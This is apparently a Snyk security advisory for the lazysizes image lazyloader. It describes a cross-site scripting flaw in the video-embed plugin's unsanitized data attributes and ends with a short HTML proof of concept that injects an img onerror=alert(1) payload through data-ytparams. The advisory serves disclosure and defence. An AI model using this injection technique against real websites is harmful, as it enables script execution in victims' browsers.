Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Cross-site Scripting (XSS) vulnerabilities in an interactive lesson.
Start learningA fix was pushed into the master
branch but not yet published.
org.webjars.bowergithub.afarkas:lazysizes is a fast (jank-free), SEO-friendly and self-initializing lazyloader for images (including responsive images picture/srcset), iframes, scripts/widgets and much more. It also prioritizes resources by differentiating between crucial in view and near view elements to make perceived performance even faster.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS)
due to unsafe usage of innerHTML
. The following attributes are not sanitized by the video-embed plugin: data-vimeo
, data-vimeoparams
, data-youtube
and data-ytparams
which can be abused to inject malicious JavaScript.
<html>
<head>
<script src="https://cdnjs.cloudflare.com/ajax/libs/lazysizes/5.2.0/lazysizes.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/lazysizes/5.2.0/plugins/video-embed/ls.video-embed.min.js"></script>
</head>
<body>
<div class="ratio-16-9 lazyload" data-youtube="M7lc1UVf-VE" data-ytparams=""></iframe><img src=x onerror=alert(1)>">
<button class="play-btn">play</button>
</div>
</body>
</html>